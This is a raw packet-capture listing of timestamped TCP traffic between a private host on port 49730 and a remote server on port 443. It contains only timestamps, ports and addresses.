Nov 19, 2024 18:19:35.133011103 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.133042097 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.133063078 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.133424997 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.133466005 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.133493900 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.133500099 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.133522034 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.133564949 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.134871006 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.134915113 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.134993076 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.134999990 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.135024071 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.135040998 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.135377884 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.135422945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.135441065 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.135446072 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.135474920 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.135495901 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.135787010 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.135828018 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.135838985 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.135850906 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.135879040 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.135894060 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.136113882 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.136154890 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.136176109 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.136181116 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.136200905 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.136526108 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.136786938 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.136830091 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.136850119 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.136853933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.136883974 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.136894941 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.223388910 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.223413944 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.223515034 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.223541975 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.223567963 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.223593950 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.223619938 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.223628044 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.223639965 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.223663092 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.224184036 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.224199057 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.224252939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.224261999 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.225357056 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.225378990 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.225450039 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.225464106 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.225476027 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.225505114 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.225927114 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.225944042 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.225996017 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.226005077 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.226041079 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.226439953 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.226464987 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.226501942 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.226505995 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.226532936 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.226548910 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.226643085 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.226676941 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.226691008 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.226696014 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.226723909 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.226737976 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.227418900 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.227441072 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.227489948 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.227495909 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.227861881 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.314397097 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.314426899 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.314505100 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.314652920 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.314683914 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.314744949 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.314923048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.314940929 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.314984083 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.314990044 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.316103935 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.316123009 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.316164017 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.316169977 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.316193104 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.316886902 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.316901922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.316951990 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.316958904 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.317112923 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.317130089 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.317157984 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.317163944 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.317173958 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.317420959 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.317434072 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.317490101 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.317495108 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.318223953 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.318243980 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.318280935 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.318286896 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.318305969 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.363630056 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.404795885 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.404829979 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.404887915 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.404921055 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.404932976 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.404966116 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.404990911 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.404990911 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.405507088 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.405524969 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.405549049 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.405564070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.405580997 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.406764030 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.406785965 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.406840086 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.406866074 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.407397985 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.407414913 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.407464027 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.407480955 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.407743931 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.407766104 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.407794952 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.407804012 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.407814980 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.408112049 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.408128977 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.408159018 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.408169985 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.408184052 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.408813953 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.408840895 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.408870935 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.408890009 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.408907890 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.457349062 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.495788097 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.495857000 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.495928049 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.495965958 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.495985985 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.496002913 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.496030092 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.496069908 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.496088982 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.496098042 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.496120930 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.496135950 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.496376038 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.496416092 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.496434927 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.496447086 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.496460915 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.496483088 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.497400045 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.497441053 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.497467041 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.497486115 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.497503996 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.497553110 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498097897 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498137951 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498164892 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498181105 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498198032 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498213053 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498399973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498440981 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498451948 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498461008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498491049 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498502970 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498853922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498895884 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498920918 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498930931 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.498951912 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.498970985 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.499511957 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.499555111 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.499579906 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.499589920 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.499612093 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.499627113 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.586292028 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.586344004 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.586420059 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.586450100 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.586463928 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.586510897 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.586524010 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.586563110 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.586586952 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.586606026 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.586636066 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.586652040 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.586986065 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.587024927 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.587044954 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.587049961 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.587076902 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.587090015 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.588093996 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.588170052 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.588176966 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.588201046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.588232994 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.588248014 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.588608027 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.588627100 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.588663101 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.588668108 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.588691950 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.588709116 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.588965893 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.588979959 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.589029074 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.589035034 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.589072943 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.589447021 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.589462996 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.589495897 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.589502096 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.589525938 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.589544058 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.590142965 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.590157032 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.590208054 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.590215921 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.590253115 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.677148104 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.677215099 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.677253962 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.677278996 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.677297115 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.677321911 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.677352905 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.677395105 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.677414894 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.677421093 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.677452087 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.677465916 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.677969933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.678014994 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.678051949 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.678056955 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.678067923 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.678093910 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.678844929 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.678889990 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.678941965 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.678947926 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.678956985 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.678987980 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.679467916 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.679510117 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.679532051 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.679537058 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.679572105 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.679939032 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.679979086 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.679989100 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.679997921 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.680017948 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.680046082 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.680072069 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.680192947 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.680234909 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.680248976 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.680255890 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.680286884 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.680303097 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.680943012 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.680984974 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.681006908 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.681013107 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.681041002 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.681055069 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.767995119 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768017054 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768126011 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768141985 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768167019 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768186092 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768197060 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768229008 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768253088 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768290997 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768307924 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768342972 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768361092 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768385887 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768547058 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768587112 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768604994 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768610001 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.768630981 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.768651962 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.769434929 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.769479036 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.769515991 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.769520998 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.769562006 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.769985914 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.770032883 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.770047903 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.770054102 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.770086050 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.770631075 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.770677090 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.770699024 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.770704031 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.770726919 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.770755053 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.771995068 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.772011042 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.772064924 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.772070885 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.772094011 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.772109032 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.772273064 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.772315025 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.772334099 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.772371054 CET	443	49730	188.114.96.3	192.168.2.8
